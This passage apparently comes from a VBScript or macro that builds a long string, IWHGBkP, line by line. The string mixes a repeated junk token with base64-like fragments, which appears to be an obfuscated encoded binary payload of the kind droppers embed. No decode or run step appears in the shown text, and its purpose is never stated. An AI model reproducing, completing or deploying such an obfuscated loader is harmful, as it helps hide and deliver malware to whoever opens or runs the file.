IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "E@@&&^%^#%@@&&^%^#%@@&&^%^#%E@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%B@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%OBt"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%BL@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%CQD@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%K@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%w@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%CYbQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%H@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%CC@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%Eg@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%C50ZXh0@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%NE4@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%U@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%G@@&&^%^#%ucnNyYw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%CQD@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Q@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%BS@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%B@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%B@@&&^%^#%LnJlbG9j@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%M@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%K@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%Vg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%Q@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%Qg@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%Qbg@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Eg@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%U@@&&^%^#%9DY@@&&^%^#%@@&&^%^#%Ow1"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%D@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%OBs@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%C4@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%D4r@@&&^%^#%iYWKwImFgIo@@&&^%^#%g@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%Bio6KwImFv4J@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%oDg@@&&^%^#%@@&&^%^#%Cio@"
IWHGBkP = IWHGBkP & "@&&^%^#%PisCJhYr@@&&^%^#%iYW@@&&^%^#%igE"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GKjor@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYW/gk@@&&^%^#%@@&&^%^#%CgP@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%KKg@@&&^%^#%TM@@&&^%^#%M@"
IWHGBkP = IWHGBkP & "@&&^%^#%r@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%E@@&&^%^#%@@&&^%^#%BEr@@&&"
IWHGBkP = IWHGBkP & "^%^#%iYWKwImFigK@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%GK@@&&^%^#%s@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%Y6Lg@@&&^%^#%@@&&^%^#%@@&&^%^#%CYgB@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%DhK@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%cx@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%q@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%g@@&&^%^#%@@&&^%^#%BC@@&&^%^#%F"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%ODY@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%BzEQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Co@@&&^%^#%B@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%EON3///8mI@@&&^%^#%I@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%4H@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%HMS@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%Kg@@&&^%^#%M@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%Q4O@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%C@@&&^%^#%E@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%/g4@@&&^%^#%@@&&^%^#%P4M"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%BFBw@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%Kn///+z////lf///wo@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Cp////w////x4@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%w@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%DjV////cxM@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%q@@&&^%^#%B@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BC@@&&^%^#%G@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%OMH///8qPisCJhZ+"
IWHGBkP = IWHGBkP & "@@&&^%^#%Q@@&&^%^#%@@&&^%^#%BG8U@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%KKj4r@@&&^%^#%iYWfgI@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%RvFQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Cio+KwImFn4D@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%EbxY@@&&^%^#%@@&&^%^#%@@&&^%^#%oq"
IWHGBkP = IWHGBkP & "PisCJhZ+B@@&&^%^#%@@&&^%^#%@@&&^%^#%BG8X"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%KKhor@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYWFyo@@&&^%^#%GisCJhYWKgDiKwImFn4G@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%EFCgi@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%GOR4@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%By@@&&^%^#%Q@@&&^%^#%@@&&^%^#%cN@@"
IWHGBkP = IWHGBkP & "&&^%^#%I@@&&^%^#%@@&&^%^#%@@&&^%^#%CKCM@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%ZvIw@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%CnMk@@&&^%^#%@@&&^%^#%@@&&^%^#%K"
IWHGBkP = IWHGBkP & "g@@&&^%^#%Y@@&&^%^#%@@&&^%^#%@@&&^%^#%R+"
IWHGBkP = IWHGBkP & "Bg@@&&^%^#%@@&&^%^#%BCo@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%qKwImFn4H@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%EKg@@&&^%^#%uKwImFgK@@&&^"
IWHGBkP = IWHGBkP & "%^#%Bw@@&&^%^#%@@&&^%^#%BCpOKwImFgD+CQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%/gkB@@&&^%^#%Cgl@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%KKj4r@@&&^%^#%iYW@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%@@&&^%^#%@@&&^%^#%oH@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%CioaKwImFhcq@@&&"
IWHGBkP = IWHGBkP & "^%^#%Bor@@&&^%^#%iYWFio@@&&^%^#%disCJhYr"
IWHGBkP = IWHGBkP & "@@&&^%^#%iYWcyc@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%YoKQ@@&&^%^#%@@&&^%^#%BnQJ@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%Cg@@&&^%^#%g@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Qq@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%+KwImFisCJhYCKCw@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%YqKisCJhZ+C@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%BCo@@&&^%^#%PisCJhY@@&&^%^#%/gk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%Cgm@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%KKhor@@&&^%^#%iYWFyo@@&&^%^#%GisCJhYW"
IWHGBkP = IWHGBkP & "Kg@@&&^%^#%6KwImFv4J@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%oJw@@&&^%^#%@@&&^%^#%Cio@@&&^%^#%"
IWHGBkP = IWHGBkP & "KisCJhYoLg@@&&^%^#%@@&&^%^#%Bio@@&&^%^#%"
IWHGBkP = IWHGBkP & "LisCJhY@@&&^%^#%KCg@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%YqPisCJhYr@@&&^%^#%iYW@@&&^%^#%igx"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GKhswDwDKB@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%B@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%ESsCJhYg@@&&^%^#%@@&&^%^#%w@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%Cgy@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%Gcyg@@&&^%^#%@@&&^%^#%@@&&^%^#%ol"
IWHGBkP = IWHGBkP & "KDM@@&&^%^#%@@&&^%^#%@@&&^%^#%YoN@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%BgIoNQ@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%BnIh@@&&^%^#%@@&&^%^#%Bwci0@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%H@@&&^%^#%oNg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "BnIx@@&&^%^#%@@&&^%^#%Bwcj8@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%H@@&&^%^#%oNg@@&&^%^#%@@&&^%^#%BnJD"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%Bwck8@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%H@@&&^%^#%oNg@@&&^%^#%@@&&^%^#%BnJT@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%Bwcl8@@&&^%^#%@@&&^%^#%H@@"
IWHGBkP = IWHGBkP & "&&^%^#%oNg@@&&^%^#%@@&&^%^#%BnJj@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%BwcnU@@&&^%^#%@@&&^%^#%H@@&&^%"
IWHGBkP = IWHGBkP & "^#%oNg@@&&^%^#%@@&&^%^#%BnJ5@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%Bwcos@@&&^%^#%@@&&^%^#%H@@&&^%^#%o"
IWHGBkP = IWHGBkP & "Ng@@&&^%^#%@@&&^%^#%BnKP@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%BwcqE@@&&^%^#%@@&&^%^#%H@@&&^%^#%oNg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BnKl@@&&^%^#%@@&&^%^#%Bw"
IWHGBkP = IWHGBkP & "crE@@&&^%^#%@@&&^%^#%H@@&&^%^#%oNg@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%BnK1@@&&^%^#%@@&&^%^#%Bwcsc@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%H@@&&^%^#%oNg@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%BnLL@@&&^%^#%@@&&^%^#%Bwct0@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%H@@&&^%^#%oNg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%BnLh@@&&^%^#%@@&&^%^#%BwcvM@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%H@@&&^%^#%oNg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Big3@@&&^%^#%@@&&^%^#%@@&&^%^#%GCgYoO@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%BgsHKDU@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%YL@@&&^%^#%3Kx@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%BwFig5@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%GOsk@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%fGig6@@&&^%^#%@@&&^%^#%@@&&^%^#%GJXL3"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%BwKDs@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%YTBBIE/hYj@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%Bbx0@@&&^%^#%@@&&^%^#%@@&&^%^#%py"
IWHGBkP = IWHGBkP & "+w@@&&^%^#%@@&&^%^#%cCg8@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GDHIF@@&&^%^#%QBwKD0@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%Yo@@&&^%^#%w@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Kzp@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%cyo@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%pzKw@@&&^%^#%@@&&^%^#%ChMFEQUXKD4@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%YRBXIR@@&&^%^#"
IWHGBkP = IWHGBkP & "%QBwKD8@@&&^%^#%@@&&^%^#%@@&&^%^#%YRBXKF"
IWHGBkP = IWHGBkP & "@@&&^%^#%QBwCCh@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GKEE@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%YlEQUoQg@@&&^%^#%@@&&^%^#%BihD@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%GJn4s@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%KcvcB@@&&^%^#%H@@&&^%^#%XKEQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%YNCShF@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%GclMC@@&&^%^#%H@@&&^%"
IWHGBkP = IWHGBkP & "^#%oB@@&&^%^#%@@&&^%^#%@@&&^%^#%KzoM@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%CXJT@@&&"
IWHGBkP = IWHGBkP & "^%^#%gBwCChG@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "CShH@@&&^%^#%@@&&^%^#%@@&&^%^#%GByhI@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%GKEk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%YmOPsC@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%Ecsc@@&&^%^#%@@&&^%^#%H@@&&^%^#%W"
IWHGBkP = IWHGBkP & "KDk@@&&^%^#%@@&&^%^#%@@&&^%^#%Y63gI@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%B8aKDo@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%YTBhEGcy4@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%pyBQE@@&&^%^#%cChK@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%GK@@&&^%^#%U@@&&^%^#%@@&&^%^#%Cs6"
IWHGBkP = IWHGBkP & "qQI@@&&^%^#%@@&&^%^#%Cg7@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GEwQSBP4WIw@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%W8d@@&&^%^#%@@&&^%^#%@@&&^%^#%K"
IWHGBkP = IWHGBkP & "cvs@@&&^%^#%@@&&^%^#%H@@&&^%^#%oQ@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%BhMHEQZy9w@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%cBEHKEs@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%YTCHMq@@&&^%^#%@@&&^%^#%@@&&^%^#%Kcys@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%oTCREJFyg+@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%GEQlyEQE@@&&^%^#%"
IWHGBkP = IWHGBkP & "cCg/@@&&^%^#%@@&&^%^#%@@&&^%^#%GEQlyhQE@"
IWHGBkP = IWHGBkP & "@&&^%^#%cBEIKE@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%YoQQ@@&&^%^#%@@&&^%^#%BiURCShC"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GKEM@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%YmFBMKcl0C@@&&^%^#%HBy"
IWHGBkP = IWHGBkP & "eQI@@&&^%^#%cChM@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%GKE0@@&&^%^#%@@&&^%^#%@@&&^%^#%YTCt0S"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%JShO"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GEwsoTw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%Bt0@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%EQo5@@&&^%^#%QI@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%BQTDBEKFHJ7@@&&^%^#%gBwF40T"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%BJRZymQI@@&&^"
IWHGBkP = IWHGBkP & "%^#%cKIUFBQoU@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "BihR@@&&^%^#%@@&&^%^#%@@&&^%^#%GcqkC@@&&"
IWHGBkP = IWHGBkP & "^%^#%H@@&&^%^#%RCChS@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%GKDs@@&&^%^#%@@&&^%^#%@@&&^%^#%aM"
IWHGBkP = IWHGBkP & "Iw@@&&^%^#%@@&&^%^#%@@&&^%^#%ShT@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%GEw0RDShU@@&&^%^#%@@&"
